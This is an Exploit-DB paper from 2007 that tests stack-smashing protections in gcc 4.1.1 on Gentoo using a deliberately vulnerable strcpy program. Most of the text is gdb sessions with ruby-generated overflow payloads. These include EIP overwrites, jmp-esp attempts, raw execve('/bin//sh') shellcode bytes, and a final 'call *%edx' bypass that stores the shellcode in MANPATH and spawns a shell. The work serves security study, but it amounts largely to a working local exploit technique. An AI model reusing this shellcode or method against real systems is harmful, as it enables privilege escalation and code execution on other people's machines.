Buffer Overflow testing on gentoo gcc 4.1.1

EDB-ID:

13097

CVE:

N/A

Author:

xwings

Type:

papers

Platform:

Multiple

Published:

2007-04-18

=================================================================================================
*                                                                                               *
*  Title: Buffer Overflow testing on gentoo gcc 4.1.1                                           *
*                                                                                               *
*  Author: KaiJern, Lau @ xwings <at> security <dot> net <dot> my                               *
*  url : http://blog.xwings.net                                                                 *
*  Date : April / 2007                                                                          *
*                                                                                               *
=================================================================================================

Content :
        i. Introduction
       ii. Overwritting %eip ?
      iii. Quick fix ?
       iv. call %edx 

** [ i. Introduction ] **


This small note will talk about how randomzie allocated stack like 
protection in gcc 4.1 can protect from being overflowed.

My testing enviroment will base on Q2.2007 Gentoo. with gcc 4.1.1.

When gcc 3.4 came out, they intoroduce some new protections into the compiler. 
The whole idea is to protect vuln. binary being exploite and harder to smash the stack. 

I mean HARDER.

Again, in gcc 4.1. There are something new and also interesting.
        From : http://gcc.gnu.org/gcc-4.1/changes.html
    
        *  GCC can now emit code for protecting applications from stack-smashing attacks. 
        The protection is realized by buffer overflow detection and reordering 
        of stack variables to avoid pointer corruption.
        
        * Some built-in functions have been fortified to protect them against various 
        buffer overflow (and format string) vulnerabilities. Compared to the mudflap bounds 
        checking feature, the safe builtins have far smaller overhead. This means that programs 
        built using safe builtins should not experience any measurable slowdown.

System Overview :

OS :            Linux
Distro :        Gentoo , Q2 2007
                - Gentoo Kernel
                - Linux mybox 2.6.19-gentoo-r5

GCC's Version and compile option. Gentoo's emerge.

$ gcc -v
Using built-in specs.
Target: i686-pc-linux-gnu
Configured with: 
/var/tmp/portage/sys-devel/gcc-4.1.1-r3/work/gcc-4.1.1/configure 
--prefix=/usr --bindir=/usr/i686-pc-linux-gnu/gcc-bin/4.1.1 
--includedir=/usr/lib/gcc/i686-pc-linux-gnu/4.1.1/include 
--datadir=/usr/share/gcc-data/i686-pc-linux-gnu/4.1.1 
--mandir=/usr/share/gcc-data/i686-pc-linux-gnu/4.1.1/man 
--infodir=/usr/share/gcc-data/i686-pc-linux-gnu/4.1.1/info 
--with-gxx-include-dir=/usr/lib/gcc/i686-pc-linux-gnu/4.1.1/include/g++-v4 
--host=i686-pc-linux-gnu --build=i686-pc-linux-gnu --disable-altivec 
--enable-nls --without-included-gettext --with-system-zlib --disable-checking 
--disable-werror --enable-secureplt --disable-libunwind-exceptions --disable-multilib 
--disable-libmudflap --disable-libssp --disable-libgcj --enable-languages=c,c++,fortran 
--enable-shared --enable-threads=posix --enable-__cxa_atexit --enable-clocale=gnu
Thread model: posix
gcc version 4.1.1 (Gentoo 4.1.1-r3)



** [ ii. Overwritting %eip ? ] **


The classic example (Gera's Law): 

[File : abo1.c ]
/* abo1.c                                       */
/* specially crafted to feed your brain by gera */
/* Dumb example to let you get introduced...    */
/* edited by : xWinGs @ xWinGs . net */

#include<stdio.h>

int main(int argv,char **argc) {
        char buf[512];

        if (argv < 2)
        {
                printf ("Error !!!\n");
                exit (1);
        }
        strcpy(buf,argc[1]);
        printf("Input : %s\n",buf);
}
[ abo1.c : EOF ]


Compile and run.

$ gcc -o abo1 abo1.c
$ gdb ./abo1

gdb>r   `ruby -e 'print "A" * 200;print "B" * 50;print "C" * 50;print "D" * 50;
        print "E" * 50;print "F" * 50;print "G" * 25;print "H" * 25;print "I" * 12'`

Failed to read a valid object file image from memory.
Input : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA .. [and more]

Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
eax:00000209 ebx:B7FACFF4  ecx:BFCEB300  edx:00000000     eflags:00210282
esi:B7FE0CA0 edi:00000000  esp:BFCEB300  ebp:BFCEB408     eip:45454545
cs:0073  ds:007B  es:007B  fs:0000  gs:0033  ss:007B    o d I t S z a p c
[007B:BFCEB300]---------------------------------------------------------[stack]
BFCEB330 : 46 46 46 46  46 46 46 46 - 46 46 46 46  46 46 46 46 FFFFFFFFFFFFFFFF
BFCEB320 : 45 45 45 45  46 46 46 46 - 46 46 46 46  46 46 46 46 EEEEFFFFFFFFFFFF
BFCEB310 : 45 45 45 45  45 45 45 45 - 45 45 45 45  45 45 45 45 EEEEEEEEEEEEEEEE
BFCEB300 : 45 45 45 45  45 45 45 45 - 45 45 45 45  45 45 45 45 EEEEEEEEEEEEEEEE
[007B:B7FE0CA0]---------------------------------------------------------[ data]
B7FE0CA0 : 00 00 00 00  00 10 00 00 - 13 06 02 00  DB B5 CE BF ................
B7FE0CB0 : 04 00 00 00  70 46 FC B7 - 03 00 00 00  64 00 00 00 ....pF......d...
[0073:45454545]---------------------------------------------------------[ code]
0x45454545:     Error while running hook_stop:
Cannot access memory at address 0x45454545
0x45454545 in ?? ()

First test, we are taking control of %eip. Total of 512 bytes will be good enought to
cover the %eip.

gdb>r   `ruby -e 'print "A" * 200;print "B" * 50;print "C" * 50;print "D" * 50;
        print "E" * 50;print "F" * 50;print "G" * 25;print "H" * 25;print "I" * 12'`
Failed to read a valid object file image from memory.
Input : AAAAAAAAAAAAAAAAAAAAAAAAAAAA .. [and more]
Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
eax:00000209 ebx:B7F2EFF4  ecx:BF85D700  edx:00000000     eflags:00210282
esi:B7F62CA0 edi:00000000  esp:BF85D700  ebp:BF85D778     eip:49494949
cs:0073  ds:007B  es:007B  fs:0000  gs:0033  ss:007B    o d I t S z a p c
[007B:BF85D700]---------------------------------------------------------[stack]
BF85D730 : 00 00 00 00  A0 66 F4 B7 - 01 00 00 00  01 00 00 00 .....f..........
BF85D720 : 02 00 00 00  A4 D7 85 BF - B0 D7 85 BF  B4 56 F5 B7 .............V..
BF85D710 : A0 2C F6 B7  E0 84 04 08 - 78 D7 85 BF  38 08 E2 B7 .,......x...8...
BF85D700 : 49 49 49 49  00 D7 85 BF - 78 D7 85 BF  38 08 E2 B7 IIII....x...8...
[007B:B7F62CA0]---------------------------------------------------------[ data]
B7F62CA0 : 00 00 00 00  00 10 00 00 - 13 06 02 00  4B D9 85 BF ............K...
B7F62CB0 : 04 00 00 00  70 66 F4 B7 - 03 00 00 00  64 00 00 00 ....pf......d...
[0073:49494949]---------------------------------------------------------[ code]
0x49494949:     Error while running hook_stop:
Cannot access memory at address 0x49494949
0x49494949 in ?? ()

If we run this again, the %eip location seems to be changing. There is a randomized
kind of protection build in to gcc.

What if we put in [512] + 4. What will happend ?

gdb>r `ruby -e 'print "A" * 512;print "B" * 4'`
Failed to read a valid object file image from memory.
Input : AAAAAAAA.......AAABBBB

Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
     eax:0000020D ebx:B7F10FF4  ecx:42424242  edx:00000000     eflags:00210282
     esi:B7F44CA0 edi:00000000  esp:4242423E  ebp:BF9E1F00     eip:080484C2
     cs:0073  ds:007B  es:007B  fs:0000  gs:0033  ss:007B    o d I t S z a p c
[007B:4242423E]---------------------------------------------------------[stack]
4242426E : Error while running hook_stop:
Cannot access memory at address 0x4242426a   <------ Suppose to be 0x42424242
0x080484c2 in main ()

If the buffer more then 512, it will take in [512] + 4, the last 4 bytes with the last byte
corrupted.

It seems like we can overwrite the last 4 bytes. But the last 1 byte in the 4 bytes seems to be
change. So , by doing some adjustment will make it goes back to normal.

gdb>r `ruby -e 'print "A" * 512;print "\x16\x42\x42\x42"'`
Failed to read a valid object file image from memory.
Input : AAAAAAA.....AAABBB

Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
     eax:0000020D ebx:B7F0FFF4  ecx:42424216  edx:00000000     eflags:00210282
     esi:B7F43CA0 edi:00000000  esp:42424212  ebp:BFA6F600     eip:080484C2
     cs:0073  ds:007B  es:007B  fs:0000  gs:0033  ss:007B    o d I t S z a p c
[007B:42424212]---------------------------------------------------------[stack]
42424242 : Error while running hook_stop:
Cannot access memory at address 0x42424242 <------ Back to 0x42424242
0x080484c2 in main ()

Sometimes, by putting in 512 bytes it will still not possible to overflow. 

gdb>r   `ruby -e 'print "A" * 200;print "B" * 50;print "C" * 50;print "D" * 50;
        print "E" * 50;print "F" * 50;print "G" * 25;print "H" * 25;print "I" * 12'`
Failed to read a valid object file image from memory.
Input : AAAAAAAAAAAAAAAAAAAAAAAAAAAAA .. [and more]

Program exited with code 011.
_______________________________________________________________________________
Error while running hook_stop:
No registers.


Thish means there is no way for us to fix the eip and trow in the ret address. 
Izik's method using [nop + jmp esp + nop shellcode] will not work anymore. 
At least at this case.

** [ iii. Quick fix ? ] **

If we follow izik's paper : * 0xffffe75b : jmp *%esp. 

gdb>r   `ruby -e 'print "\x5b\xe7\xff\xff" * 10;print "\x41" * 76;
        print "\x5b\xe7\xff\xff" * 15;print "\x90" * 80;print "\x0a\xe7\xff\xff"'`
Failed to read a valid object file image from memory.

Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
     eax:BFFDE654 ebx:FFFFE75B  ecx:BFFDE700  edx:BFFDF2FE     eflags:00210282
     esi:B7F56CA0 edi:00000000  esp:BFFDE704  ebp:BFFDE7C8     eip:BFFDE701
     cs:0073  ds:007B  es:007B  fs:0000  gs:0033  ss:007B    o d I t S z a p c
[007B:BFFDE704]---------------------------------------------------------[stack]
BFFDE734 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
BFFDE724 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
BFFDE714 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
BFFDE704 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
[007B:B7F56CA0]---------------------------------------------------------[ data]
B7F56CA0 : 00 00 00 00  00 10 00 00 - 13 06 02 00  AB E9 FD BF ................
B7F56CB0 : 04 00 00 00  70 A6 F3 B7 - 03 00 00 00  64 00 00 00 ....p.......d...
[0073:BFFDE701]---------------------------------------------------------[ code]
0xbffde701:     out    0xff,eax
0xbffde703:     call   DWORD PTR [eax-0x6f6f6f70]
0xbffde709:     nop
0xbffde70a:     nop
0xbffde70b:     nop
0xbffde70c:     nop
------------------------------------------------------------------------------
0xbffde701 in ?? ()
gdb>x/5s $esp
0xbffde704:      '\220' <repeats 80 times>
0xbffde755:      "�����8Hᷠl��\203\004\b���8H�\003"
0xbffde772:      ""
0xbffde773:      ""
0xbffde774:      "���\004��\226�"

Or we put in shellcodes.

gdb>r   `ruby -e 'print "\x5c\xe7\xff\xff" * 10;print "\x41" * 76;
        print "\x5b\xe7\xff\xff" * 15;print "\x90" * 46;
        print "\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\x31\xc0\x50";
        print "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52";
        print "\x53\x89\xe1\xb0\x0b\xcd\x80";print "\x0a\xe7\xff\xff"'`
Failed to read a valid object file image from memory.
Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
     eax:BFFD9654 ebx:FFFFE75B  ecx:BFFD9700  edx:BFFDB2FE     eflags:00210282
     esi:B7F93CA0 edi:00000000  esp:BFFD9704  ebp:BFFD97C8     eip:BFFD9701
     cs:0073  ds:007B  es:007B  fs:0000  gs:0033  ss:007B    o d I t S z a p c
[007B:BFFD9704]---------------------------------------------------------[stack]
BFFD9734 : B0 17 CD 80  B0 2E CD 80 - 31 C0 50 68  6E 2F 73 68 ........1.Phn/sh
BFFD9724 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 31 DB ..............1.
BFFD9714 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
BFFD9704 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
[007B:B7F93CA0]---------------------------------------------------------[ data]
B7F93CA0 : 00 00 00 00  00 10 00 00 - 13 06 02 00  AB 99 FD BF ................
B7F93CB0 : 04 00 00 00  70 76 F7 B7 - 03 00 00 00  64 00 00 00 ....pv......d...
[0073:BFFD9701]---------------------------------------------------------[ code]
0xbffd9701:     out    0xff,eax
0xbffd9703:     call   DWORD PTR [eax-0x6f6f6f70]
0xbffd9709:     nop
0xbffd970a:     nop
0xbffd970b:     nop
0xbffd970c:     nop
------------------------------------------------------------------------------
0xbffd9701 in ?? ()
gdb>x/5s $esp
0xbffd9704:      '\220' <repeats 46 times>, "1۰\027�\200�.�\2001�Phn/shh//bi
                \211�\231RS\211�\v�\200"
0xbffd9755:      "\227��\227�8\030å· <��\203\004\b�\227�8\030�\003"
0xbffd9772:      ""
0xbffd9773:      ""
0xbffd9774:      "�\227�\004\230�f�"
gdb>x/5s $eip
0xbffd9701:      "���", '\220' <repeats 46 times>, "1۰\027�\200�.�\2001�Phn/
                shh//bi\211�\231RS\211�\v�\200"
0xbffd9755:      "\227��\227�8\030å· <��\203\004\b�\227�8\030�\003"
0xbffd9772:      ""
0xbffd9773:      ""
0xbffd9774:      "�\227�\004\230�f�"


What can we see from here ? jmp *%esp did not really work. 
It copies the extra 4 bytes as the %esp header. 
[512] + 4 , 4 extra bytes.

There is a quick and dirty way to bypass all these. This method we gonna talk about
only good for local exploit. Not remote.

So, this are the few things I discover during the testing process.
        i. jmp %esp is not possible for me.
        ii. [buffer] + 4 is not possible also (atm , maybe ?)

Good thing about [buffer] + 4 will fix the ret address at the last 4 bytes, 
but our major objective is to exec() the shellcode.


** [ iv. call %edx ] **

Again, the golden example,

$ cat abo1.c
#include<stdio.h>

int main(int argc,char **argv) {
        char buf[256];

        strcpy(buf,argv[1]);
}


Here is a quick and dirty way to by pass the protection.
If the overflow happends again.

gdb>r `ruby -e 'print "\x41" * 256'`
Failed to read a valid object file image from memory.

Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
     eax:BFE16D34 ebx:B7EE2FF4  ecx:BFE16E00  edx:BFE17392     eflags:00210282
     esi:B7F16CA0 edi:00000000  esp:BFE16E00  ebp:BFE16EA8     eip:41414141
     cs:0073  ds:007B  es:007B  fs:0000  gs:0033  ss:007B    o d I t S z a p c
[007B:BFE16E00]---------------------------------------------------------[stack]
BFE16E30 : 41 41 41 41  00 6E E1 BF - A8 6E E1 BF  38 48 DD B7 AAAA.n...n..8H..
BFE16E20 : 41 41 41 41  41 41 41 41 - 41 41 41 41  41 41 41 41 AAAAAAAAAAAAAAAA
BFE16E10 : 41 41 41 41  41 41 41 41 - 41 41 41 41  41 41 41 41 AAAAAAAAAAAAAAAA
BFE16E00 : 41 41 41 41  41 41 41 41 - 41 41 41 41  41 41 41 41 AAAAAAAAAAAAAAAA
[007B:B7F16CA0]---------------------------------------------------------[ data]
B7F16CA0 : 00 00 00 00  00 10 00 00 - 13 06 02 00  7B 70 E1 BF ............{p..
B7F16CB0 : 04 00 00 00  70 A6 EF B7 - 03 00 00 00  64 00 00 00 ....p.......d...
[0073:41414141]---------------------------------------------------------[ code]
0x41414141:     Error while running hook_stop:
Cannot access memory at address 0x41414141
0x41414141 in ?? ()
gdb>x/s $edx
0xbfe17392:      "LC_PAPER=en_US"

Clearly, $edx is going back the the stack. So jmp %edx or call %edx will help in this case.
To look for the right jump

$ objdump -d ./abo1 | grep edx | grep call
 8048369:       ff d2                   call   *%edx

There are two things need to be fufilled.
        i. Buffer sized need to be 256
        ii. Ret address is randomized. It will be anywhere within the stack.

In order to fix this part. We need to fill the stack with %edx address.

gdb>r `ruby -e 'print "\x69\x83\x04\x08" * 64'`
Failed to read a valid object file image from memory.

Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
     eax:BF90E78D ebx:B7F53FF5  ecx:BF90E802  edx:BF910302     eflags:00210A96
     esi:B7F87C9F edi:04836B08  esp:BF90E7E7  ebp:BF90E909     eip:BF91031E
     cs:0073  ds:007B  es:007B  fs:0000  gs:0033  ss:007B    O d I t S z A P c
[007B:BF90E7E7]---------------------------------------------------------[stack]
BF90E817 : 08 69 83 04  08 69 83 04 - 08 69 83 04  08 69 83 04 .i...i...i...i..
BF90E807 : 08 69 83 04  08 69 83 04 - 08 69 83 04  08 69 83 04 .i...i...i...i..
BF90E7F7 : 94 E7 90 BF  94 E7 90 BF - 08 69 83 04  08 69 83 04 .........i...i..
BF90E7E7 : EB E7 90 BF  94 E7 90 BF - F5 3F F5 B7  02 03 91 BF .........?......
[007B:B7F87C9F]---------------------------------------------------------[ data]
B7F87C9F : 00 00 00 00  00 00 10 00 - 00 13 06 02  00 DB EA 90 ................
B7F87CAF : BF 04 00 00  00 70 B6 F6 - B7 03 00 00  00 64 00 00 .....p.......d..
[0073:BF91031E]---------------------------------------------------------[ code]
0xbf91031e:     ins    BYTE PTR es:[edi],[dx]
0xbf91031f:     outs   [dx],DWORD PTR ds:[esi]
0xbf910320:     arpl   WORD PTR [ecx+108],sp
0xbf910323:     das
0xbf910324:     jae    0xbf91038e
0xbf910326:     popa
------------------------------------------------------------------------------
0xbf91031e in ?? ()
gdb>x/5s $edx
0xbf910302:      "LC_PAPER=en_US"
0xbf910311:      "MANPATH=/usr/local/share/man:/usr/share/man:/usr/share/binutilsdata
                  /i686-pc-linux-gnu/2.16.1/man:/usr/share/gcc-data/i686-pc-linux-gnu
                  /4.1.1/man:/usr/qt/3/doc/man:/opt/vmware/workstation/man"
0xbf9103d1:      "KDE_MULTIHEAD=false"
0xbf9103e5:      "LC_ADDRESS=en_US"
0xbf9103f6:      "LC_MONETARY=en_US"
gdb>x/5s $eip
0xbf91031e:      "local/share/man:/usr/share/man:/usr/share/binutils-data/
                  i686-pc-linux-gnu/2.16.1/man:/usr/share/gcc-data/i686-pc-linux-gnu
                  /4.1.1/man:/usr/qt/3/doc/man:/opt/vmware/workstation/man"
0xbf9103d1:      "KDE_MULTIHEAD=false"
0xbf9103e5:      "LC_ADDRESS=en_US"
0xbf9103f6:      "LC_MONETARY=en_US"
0xbf910408:      "MRXVT_TABTITLE=Terminal"

If %eip starts at somewhere in side $MANPATH. Replacing values within $MANPATH will work ?

$ export        MANPATH="/usr/`ruby -e 'print "\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\x31\xc0
                \x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`"

$ gdb -q ./abo1
gdb>r `ruby -e 'print "\x69\x83\x04\x08" * 64'`
Failed to read a valid object file image from memory.
sh-3.1$ uname -a
Linux muscat 2.6.19-gentoo-r5 #10 SMP Sat Feb 24 02:23:15 MYT 2007 i686 Genuine Intel(R) CPU

Bingo !!


Thanx to : rd@thc, izik@tty64, beist@beist and all the folks from hackinthebox.org


=================================================================================================
*                                                                                               *
*  Title: Overflow testing on gentoo's gcc 4.1.1                                                *
*                                                                                               *
*  Author: KaiJern, Lau @ xwings <at> security <dot> net <dot> my                               *
*  url : http://blog.xwings.net                                                                 *
*  Date : April / 2007                                                                          *
*                                                                                               *        
*                                                                                               *        
*                               --- EOF ---                                                     *
*                                                                                               *
=================================================================================================

# milw0rm.com [2007-04-18]